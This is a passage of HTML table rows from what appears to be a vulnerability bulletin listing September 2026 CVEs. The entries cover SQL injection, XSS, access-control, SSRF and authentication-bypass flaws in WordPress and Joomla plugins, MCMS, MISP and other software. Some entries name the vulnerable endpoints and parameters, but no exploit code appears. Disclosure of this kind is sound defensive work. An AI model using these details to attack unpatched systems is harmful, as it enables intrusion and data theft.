&lt;td class=&quot;vendor-product&quot;&gt;lomart.fr--UP plugin for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - lomart.fr - Various SQL injection vectors in UP plugin extension 5.0.0-5.2.0, 6.0.0-6.0.29&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97162&quot; target=&quot;_blank&quot;&gt;CVE-2026-97162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lomart.fr--UP plugin for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - lomart.fr - Unauthenticated remote code installation in UP plugin extension 5.0.0-5.2.0, 6.0.0-6.0.29&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97163&quot; target=&quot;_blank&quot;&gt;CVE-2026-97163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mailchimp for WooCommerce--Mailchimp for WooCommerce&lt;/td&gt;
&lt;td&gt;The Mailchimp for WooCommerce WordPress plugin before 6.3 does not require authentication or verify ownership before loading a saved cart from a request-supplied identifier that is derived from a customer&#039;s email address, allowing an unauthenticated attacker who knows a customer&#039;s email address to confirm that the customer shops at the store and to read that customer&#039;s saved cart contents.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92436&quot; target=&quot;_blank&quot;&gt;CVE-2026-92436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Malcure Malware Shield Removal, Repair, Monitor--Malcure Malware Shield Removal, Repair, Monitor&lt;/td&gt;
&lt;td&gt;The Malcure Malware Shield - Removal, Repair, Monitor WordPress plugin before 19.9.7 does not perform an authorisation check on one of its AJAX actions, allowing users with a subsite administrator role on a multisite network to write and delete arbitrary files in the network&#039;s shared filesystem, which can lead to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96896&quot; target=&quot;_blank&quot;&gt;CVE-2026-96896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Maple Media--Root Browser Classic&lt;/td&gt;
&lt;td&gt;Root Browser Classic 3.3.0 passes the path of a selected SQLite database to an operating-system shell without safely separating the filename from the command.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85082&quot; target=&quot;_blank&quot;&gt;CVE-2026-85082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Masteriyo LMS--Masteriyo LMS&lt;/td&gt;
&lt;td&gt;The Masteriyo LMS WordPress plugin before 3.4.2 does not verify that the user making the request owns the course-progress records being returned, allowing any authenticated user, such as a self-registered subscriber, to read another user&#039;s learning activity. The ownership check it applies is skipped whenever the requested account is not named with a non-zero value, in which case the records of every learner on the site are returned at once.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82849&quot; target=&quot;_blank&quot;&gt;CVE-2026-82849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Masteriyo LMS--Masteriyo LMS&lt;/td&gt;
&lt;td&gt;The Masteriyo LMS WordPress plugin before 3.4.2 does not restrict access to quiz answer keys, allowing any authenticated user, such as a student, to retrieve the correct answers for any quiz on the site, including quizzes in courses they are not enrolled in. The redaction that hides them is applied only to a fixed list of question types, so the answers to every other type are returned in full to anyone able to view the questions.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82850&quot; target=&quot;_blank&quot;&gt;CVE-2026-82850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not properly sanitise and restrict HTML in user-submitted content before storing it and rendering it to other users, allowing users with subscriber-level accounts and above to perform stored HTML injection, such as embedding iframes, that can be leveraged for phishing and content spoofing against other users viewing the content.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81338&quot; target=&quot;_blank&quot;&gt;CVE-2026-81338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not perform a per-object ownership check when returning a quiz attempt result, allowing any authenticated user with a minimal (subscriber) role to read other students&#039; quiz grades, pass/fail status and attempt timestamps by referencing an attempt identifier belonging to another user.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81339&quot; target=&quot;_blank&quot;&gt;CVE-2026-81339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not validate one of its display-style settings before using it to build a template path, allowing users with the Contributor role and above to include and execute arbitrary local PHP files on the server. An equivalent path was corrected in an earlier release and this one was not, so the issue persists in versions the earlier advisory reports as fixed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88843&quot; target=&quot;_blank&quot;&gt;CVE-2026-88843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not perform any capability or nonce checks on an administrative maintenance action, allowing any authenticated user, such as a subscriber, to trigger it and create published content on the site attributed to their own account.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88845&quot; target=&quot;_blank&quot;&gt;CVE-2026-88845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not check whether user registration is enabled on the site before creating an account through one of its front-end registration flows, allowing unauthenticated users to create accounts, and be logged into them, on sites where registration has been deliberately disabled.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88846&quot; target=&quot;_blank&quot;&gt;CVE-2026-88846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS WordPress Plugin--MasterStudy LMS WordPress Plugin&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not verify that a user is enrolled in a course before recording lesson completions against it, allowing any authenticated user, such as a subscriber, to create course progress records for courses they have no access to.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88847&quot; target=&quot;_blank&quot;&gt;CVE-2026-88847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Matter Standard Specification--Matter Project Chip V1.5.1&lt;/td&gt;
&lt;td&gt;An issue in Matter Standard Specification-Implementation gap v1.5.1 Matter Project Chip V1.5.1 allows a local attacker to obtain sensitive information via the PerformCommissioningStep function in the ChipDeviceController.cpp component&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78806&quot; target=&quot;_blank&quot;&gt;CVE-2026-78806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCMS--MCMS&lt;/td&gt;
&lt;td&gt;MCMS 6.1.1 through 6.2.1 is vulnerable to stored Cross-Site Scripting (XSS). The article content field `contentDetails` is excluded from the global XSS filter.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88415&quot; target=&quot;_blank&quot;&gt;CVE-2026-88415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCMS--MCMS&lt;/td&gt;
&lt;td&gt;MCMS 6.1.1 through 6.2.1 has a SQL injection vulnerability in the custom model/form import feature.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88416&quot; target=&quot;_blank&quot;&gt;CVE-2026-88416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCMS--MCMS 6.1.1&lt;/td&gt;
&lt;td&gt;MCMS 6.1.1 through 6.2.1 contains a SQL injection vulnerability in the PageAction.verify endpoint (GET /ms/mdiy/page/verify.do).&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88414&quot; target=&quot;_blank&quot;&gt;CVE-2026-88414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCP Server for WordPress--MCP Server for WordPress&lt;/td&gt;
&lt;td&gt;The MCP Server for WordPress WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for cookie-authenticated requests when a condition an attacker can influence is present, allowing unauthenticated attackers to perform administrator-only actions, including creating a new administrator account, by tricking a logged-in administrator into visiting a crafted page.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96524&quot; target=&quot;_blank&quot;&gt;CVE-2026-96524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCP Server for WordPress--MCP Server for WordPress&lt;/td&gt;
&lt;td&gt;The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check on its workflow create, update and delete REST routes, allowing users with the Contributor role to modify, delete and create site-wide workflow configuration, including workflows created by administrators.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96525&quot; target=&quot;_blank&quot;&gt;CVE-2026-96525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MCP Server for WordPress--MCP Server for WordPress&lt;/td&gt;
&lt;td&gt;The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an object-level authorization check on one of its workflow REST routes, allowing users with the Contributor role to disclose the title and publication status of any post, page or custom post type, including other users&#039; private, draft, pending and scheduled content.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96526&quot; target=&quot;_blank&quot;&gt;CVE-2026-96526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mcp-remote--mcp-remote&lt;/td&gt;
&lt;td&gt;mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata URL extracted from a remote MCP server&#039;s WWW-Authenticate header&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51994&quot; target=&quot;_blank&quot;&gt;CVE-2026-51994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mesop-dev--mesop&lt;/td&gt;
&lt;td&gt;Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When an operator views the resulting logs in an ANSI-capable terminal, injected ANSI or VT100 sequences can clear or reposition the display, hide text, or present forged messages, reducing the integrity of monitoring and incident-response output. This issue is fixed in version 1.3.4.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93421&quot; target=&quot;_blank&quot;&gt;CVE-2026-93421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microweber--Administration panel&lt;/td&gt;
&lt;td&gt;Arbitrary file upload vulnerability due to a lack of proper validation in upload forms. This allows authenticated users to upload files to the server without restrictions. An attacker could exploit this flaw to execute malicious code remotely (demonstrated by uploading the EICAR test file), which could result in the system being completely compromised.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5695&quot; target=&quot;_blank&quot;&gt;CVE-2026-5695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microweber--Administration panel&lt;/td&gt;
&lt;td&gt;Reflected Cross-Site Scripting (XSS) in Microweber. The vulnerability lies in the &#039;group&#039; parameter of the &#039;/admin/settings&#039; endpoint in the administration panel. A successful exploit allows an attacker to trick an authenticated user into executing malicious JavaScript code in their browser. This enables the attacker to perform actions without the victim&#039;s consent, steal confidential information or hijack the user&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5696&quot; target=&quot;_blank&quot;&gt;CVE-2026-5696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MidnightBSD--mport&lt;/td&gt;
&lt;td&gt;mport is the MidnightBSD Package Manager. mport before 2.7.8 used TMPDIR while extracting package metafiles, including when running as root or in setuid/setgid contexts. An attacker able to control the environment for a privileged mport invocation could redirect temporary metadata extraction to an attacker-controlled location. PR 123 ignores unsafe TMPDIR values in privileged contexts and rejects empty TMPDIR. This issue has been patched in version 2.7.8.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54584&quot; target=&quot;_blank&quot;&gt;CVE-2026-54584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mini-XML-- Mini-XML&lt;/td&gt;
&lt;td&gt;Mini-XML 4.0.5 contains a memory leak vulnerability in mxml_load_data() during malformed XML parsing. Specially crafted XML input can cause text nodes allocated by mxmlNewText() to become unlinked before a parse error transfers control to the cleanup path. These orphaned nodes are not released, resulting in a persistent memory leak on each parsing attempt. Repeated attacker-controlled requests can cause cumulative memory exhaustion and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88385&quot; target=&quot;_blank&quot;&gt;CVE-2026-88385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;minimp3 --ea99364f&lt;/td&gt;
&lt;td&gt;minimp3 commit ea99364f contains an integer overflow vulnerability in mp3dec_skip_id3v1() when parsing the APEv2 tag-size field.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88365&quot; target=&quot;_blank&quot;&gt;CVE-2026-88365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP&#039;s galaxy matrix statistics view (app/View/Users/statistics_galaxymatrix.ctp) renders the galaxy name directly into HTML output via sprintf() without any HTML encoding. An authenticated user holding the perm_galaxy_editor permission can create or modify a galaxy whose name contains arbitrary HTML or JavaScript markup. Because the value is interpolated verbatim into the page, any user who subsequently opens the galaxy matrix statistics page will have the embedded script executed in their browser context. This enables session hijacking, credential theft, data exfiltration, or the performance of arbitrary actions on behalf of the victim within the MISP application. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94277&quot; target=&quot;_blank&quot;&gt;CVE-2026-94277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a stored cross-site scripting (XSS) vulnerability in the default theme&#039;s Galaxies index page. When a MISP instance detects unknown custom or default galaxy clusters during synchronization, it renders sample tag names in an informational notice directed at site administrators. In the default theme, these sample tag names were inserted into the HTML output without HTML-entity encoding. A user with tag-editor privileges could craft a malicious misp-galaxy tag containing arbitrary script. When a site administrator subsequently viewed the Galaxies index page, the crafted tag content was interpreted as executable markup in the administrator&#039;s browser session, enabling the attacker to read session data, perform actions on behalf of the administrator, or otherwise compromise the administrator&#039;s browser context. The Overmind theme already applied HTML escaping to the same values and was not affected. The vulnerability requires the attacker to possess tag-editor-level access to create the crafted tag and requires the victim (a site administrator) to view the Galaxies index page in the default theme. The impact is limited to the administrator&#039;s browser session and does not directly compromise the MISP server process. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94372&quot; target=&quot;_blank&quot;&gt;CVE-2026-94372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a DOM-based cross-site scripting (XSS) vulnerability in the contextual menu JavaScript component. The ContextualMenu class populates HTML &amp;lt;option&amp;gt; elements by assigning user-controllable values to the innerHTML property. Because innerHTML parses and renders HTML markup, any untrusted string supplied as the option text (value.text or value) is interpreted as live DOM content rather than plain text. An attacker who can influence the data rendered in the contextual menu can inject arbitrary HTML or JavaScript that executes in the victim&#039;s browser within the MISP application origin. This may allow session hijacking, data exfiltration, or unauthorized actions performed on behalf of the authenticated user. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94373&quot; target=&quot;_blank&quot;&gt;CVE-2026-94373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains an insecure direct object reference vulnerability in the processModuleResultsData method of the Event model. When processing module results, the code iterates over EventReport entries supplied in the resolved data and saves each one. Unlike the adjacent attribute and object processing loops, the report loop did not unset the client-supplied &#039;id&#039; field before calling save(). Because the MISP EventReport model&#039;s create() method does not strip the id field, an authenticated user with permission to submit module results could include an &#039;id&#039; value referencing an existing report belonging to a different event. Upon save(), the ORM would update that existing row rather than insert a new one, allowing the attacker to&amp;nbsp;-&amp;nbsp;read the content of another event&#039;s report by reparenting it into their own event&amp;nbsp;overwrite the report&#039;s fields with attacker-controlled data&amp;nbsp;change the report&#039;s event_id to redirect ownership.&amp;nbsp; This constitutes an authorization bypass through a user-controlled key, enabling cross-event data disclosure and integrity compromise. The vulnerability requires an authenticated session with the ability to invoke module result processing on an event. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94374&quot; target=&quot;_blank&quot;&gt;CVE-2026-94374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;The login() function in MISP&#039;s UsersController.php contained insufficient HTTP method validation for several security-critical code paths. The original code used an allowlist approach, checking only for specific HTTP methods (POST and PUT) before enforcing bruteforce protection, email one-time-password (OTP) verification, and login-failure logging. Because the checks were not exhaustive, an unauthenticated attacker could issue login requests using other HTTP methods and bypass all three security controls simultaneously. Specifically:&amp;nbsp;&amp;nbsp;the bruteforce blocklisting check and attempt counter were skipped, allowing unlimited credential-guessing attempts without being rate-limited or blocked the email OTP two-factor authentication step was skipped, defeating the second factor of authentication login-failure events were neither logged nor counted, removing the audit trail and the mechanism that would normally trigger a blocklist entry. The security impact is the effective disabling of brute-force protection and multi-factor authentication for any attacker who can craft an HTTP request with a non-POST/PUT method to the login endpoint, potentially leading to credential compromise and unauthorized access to the MISP instance. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94379&quot; target=&quot;_blank&quot;&gt;CVE-2026-94379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP has a security issue that can let a user gain more access than their API key is supposed to allow. A read-only API key should only let someone view information. However, after logging in with such a key, a specific MISP function could accidentally restore the user&#039;s normal account permissions. This means someone with a read-only API key could potentially gain write, delete, or even administrator access if their underlying account has those permissions. Exploiting the issue requires a valid read-only API key and a single request to the affected function. The main impact is that MISP&#039;s API key restrictions can be bypassed, allowing actions that the API key was specifically meant to prevent. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94381&quot; target=&quot;_blank&quot;&gt;CVE-2026-94381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;The MISP blocklist workflow module accepted a user-supplied blocklist filename parameter without validating the file extension. The only sanitization applied was basename() to strip path components and a check for empty or dot values. A site administrator could specify a filename with an arbitrary extension that would be placed in the MISP export directory. If the underlying web server is configured to interpret and execute scripts from that directory, the resulting file could be invoked, leading to arbitrary code execution in the context of the web server process. The vulnerability requires the attacker to hold site-administrator privileges within MISP, as the blocklist workflow module is restricted to that role. No additional user interaction is required beyond triggering the workflow action with a crafted filename parameter. The impact is full compromise of the MISP server&#039;s confidentiality, integrity, and availability, as arbitrary script execution grants the attacker the same privileges as the web server user. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94383&quot; target=&quot;_blank&quot;&gt;CVE-2026-94383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;When a user creates or edits a report inside an event, MISP can identify an existing report using its UUID without properly checking whether that report actually belongs to the same event. As a result, a user who has editing rights on one event could potentially move a report from another event into their own event, as long as they know or can guess the report&#039;s UUID. Once moved, they could view and change information that they were not originally allowed to access. The vulnerability requires the attacker to have editor access to at least one event and to know or discover a valid report UUID. The main impact is that private event reports could be exposed or modified across event boundaries, bypassing MISP&#039;s normal access restrictions. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94393&quot; target=&quot;_blank&quot;&gt;CVE-2026-94393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;When a regular user adds a reference between objects or attributes, MISP checks whether the user can access the overall event, but it does not always check whether the individual pieces of data are also allowed for that user. Because of this, someone who can view an event could potentially access attributes or objects inside that event that were meant to be restricted to a specific sharing group or distribution level. The vulnerability affects authenticated users who are not site administrators and who already have access to an event containing more restricted data. The main impact is that users may be able to view sensitive attribute values, object details, or related object data that they should not normally be allowed to see.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94394&quot; target=&quot;_blank&quot;&gt;CVE-2026-94394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP has a file-handling vulnerability that could let certain authenticated users make the server read files or access internal network services. When importing an XML file, MISP did not properly verify that the uploaded content was actually XML. Because of this, a user with permission to modify data could upload a file containing a local file path or a web address instead. If a local file path was supplied, MISP could read that file from the server. If a URL was supplied, MISP could make a request to that address, including systems that may only be reachable from inside the organization&#039;s network. The vulnerability could therefore expose sensitive local files and allow unauthorized requests to internal services. Exploitation required a valid MISP account with modify permissions, but no additional user interaction was needed. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94401&quot; target=&quot;_blank&quot;&gt;CVE-2026-94401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
